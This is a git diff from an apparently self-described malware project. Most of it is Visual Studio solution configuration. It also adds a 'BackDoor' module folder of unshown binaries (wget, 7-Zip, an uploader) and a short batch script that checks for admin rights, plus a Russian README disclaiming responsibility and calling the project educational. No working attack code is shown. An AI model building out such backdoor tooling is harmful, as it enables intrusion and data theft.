{2722F730-84C4-4D08-A070-ED13A1A648AA}.Release|x64.ActiveCfg = Release|x64 + {2722F730-84C4-4D08-A070-ED13A1A648AA}.Release|x64.Build.0 = Release|x64 + {2722F730-84C4-4D08-A070-ED13A1A648AA}.Release|x86.ActiveCfg = Release|Win32 + {2722F730-84C4-4D08-A070-ED13A1A648AA}.Release|x86.Build.0 = Release|Win32 + {EA35D102-EC6D-4455-A3C2-BDAA98664C87}.Debug|x64.ActiveCfg = Debug|x64 + {EA35D102-EC6D-4455-A3C2-BDAA98664C87}.Debug|x64.Build.0 = Debug|x64 + {EA35D102-EC6D-4455-A3C2-BDAA98664C87}.Debug|x86.ActiveCfg = Debug|Win32 + {EA35D102-EC6D-4455-A3C2-BDAA98664C87}.Debug|x86.Build.0 = Debug|Win32 + {EA35D102-EC6D-4455-A3C2-BDAA98664C87}.Release|x64.ActiveCfg = Release|x64 + {EA35D102-EC6D-4455-A3C2-BDAA98664C87}.Release|x64.Build.0 = Release|x64 + {EA35D102-EC6D-4455-A3C2-BDAA98664C87}.Release|x86.ActiveCfg = Release|Win32 + {EA35D102-EC6D-4455-A3C2-BDAA98664C87}.Release|x86.Build.0 = Release|Win32 + {164A5605-AD23-4181-89C4-FA8774746731}.Debug|x64.ActiveCfg = Debug|x64 + {164A5605-AD23-4181-89C4-FA8774746731}.Debug|x64.Build.0 = Debug|x64 + {164A5605-AD23-4181-89C4-FA8774746731}.Debug|x86.ActiveCfg = Debug|Win32 + {164A5605-AD23-4181-89C4-FA8774746731}.Debug|x86.Build.0 = Debug|Win32 + {164A5605-AD23-4181-89C4-FA8774746731}.Release|x64.ActiveCfg = Release|x64 + {164A5605-AD23-4181-89C4-FA8774746731}.Release|x64.Build.0 = Release|x64 + {164A5605-AD23-4181-89C4-FA8774746731}.Release|x86.ActiveCfg = Release|Win32 + {164A5605-AD23-4181-89C4-FA8774746731}.Release|x86.Build.0 = Release|Win32 + {3E01A79C-7304-4667-A77A-FAA55379EB89}.Debug|x64.ActiveCfg = Debug|x64 + {3E01A79C-7304-4667-A77A-FAA55379EB89}.Debug|x64.Build.0 = Debug|x64 + {3E01A79C-7304-4667-A77A-FAA55379EB89}.Debug|x86.ActiveCfg = Debug|Win32 + {3E01A79C-7304-4667-A77A-FAA55379EB89}.Debug|x86.Build.0 = Debug|Win32 + {3E01A79C-7304-4667-A77A-FAA55379EB89}.Release|x64.ActiveCfg = Release|x64 + {3E01A79C-7304-4667-A77A-FAA55379EB89}.Release|x64.Build.0 = Release|x64 + {3E01A79C-7304-4667-A77A-FAA55379EB89}.Release|x86.ActiveCfg = Release|Win32 + {3E01A79C-7304-4667-A77A-FAA55379EB89}.Release|x86.Build.0 = Release|Win32 + {93BF7066-3967-444F-B965-D53469E75E2C}.Debug|x64.ActiveCfg = Debug|x64 + {93BF7066-3967-444F-B965-D53469E75E2C}.Debug|x64.Build.0 = Debug|x64 + {93BF7066-3967-444F-B965-D53469E75E2C}.Debug|x86.ActiveCfg = Debug|Win32 + {93BF7066-3967-444F-B965-D53469E75E2C}.Debug|x86.Build.0 = Debug|Win32 + {93BF7066-3967-444F-B965-D53469E75E2C}.Release|x64.ActiveCfg = Release|x64 + {93BF7066-3967-444F-B965-D53469E75E2C}.Release|x64.Build.0 = Release|x64 + {93BF7066-3967-444F-B965-D53469E75E2C}.Release|x86.ActiveCfg = Release|Win32 + {93BF7066-3967-444F-B965-D53469E75E2C}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {2722F730-84C4-4D08-A070-ED13A1A648AA} = {BBCDCCD4-1868-44A9-B2D1-314B7916453B} + {EA35D102-EC6D-4455-A3C2-BDAA98664C87} = {BBCDCCD4-1868-44A9-B2D1-314B7916453B} + {164A5605-AD23-4181-89C4-FA8774746731} = {BBCDCCD4-1868-44A9-B2D1-314B7916453B} + {BBCDCCD4-1868-44A9-B2D1-314B7916453B} = {C5FF1EFF-014D-4975-AD38-230A0A0826FB} + {3E01A79C-7304-4667-A77A-FAA55379EB89} = {C5FF1EFF-014D-4975-AD38-230A0A0826FB} + {93BF7066-3967-444F-B965-D53469E75E2C} = {C5FF1EFF-014D-4975-AD38-230A0A0826FB} + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {7F3C36FE-6D65-4523-A257-09FF14B81C17} + EndGlobalSection +EndGlobal diff --git a/Modules/BackDoor/7z.dll b/Modules/BackDoor/7z.dll new file mode 100644 index 0000000..8ab081f Binary files /dev/null and b/Modules/BackDoor/7z.dll differ diff --git a/Modules/BackDoor/7z.exe b/Modules/BackDoor/7z.exe new file mode 100644 index 0000000..4774e2e Binary files /dev/null and b/Modules/BackDoor/7z.exe differ diff --git a/Modules/BackDoor/CheckAdminWindows.bat b/Modules/BackDoor/CheckAdminWindows.bat new file mode 100644 index 0000000..3cb74b2 --- /dev/null +++ b/Modules/BackDoor/CheckAdminWindows.bat @@ -0,0 +1,6 @@ +net session >nul 2>&1 +if %errorLevel% == 0 ( +echo Yes +) else ( +echo No +) diff --git a/Modules/BackDoor/Upload.exe b/Modules/BackDoor/Upload.exe new file mode 100644 index 0000000..5917190 Binary files /dev/null and b/Modules/BackDoor/Upload.exe differ diff --git a/Modules/BackDoor/wget.exe b/Modules/BackDoor/wget.exe new file mode 100644 index 0000000..0aa4437 Binary files /dev/null and b/Modules/BackDoor/wget.exe differ diff --git a/README.md b/README.md index 8006cf2..2e6b0bf 100644 --- a/README.md +++ b/README.md @@ -1 +1,2 @@ -# Malwere \ No newline at end of file +Я не несёт отвецтвенности за пользователей. +Я создал этот проэкт для обучения. \ No newline at end of file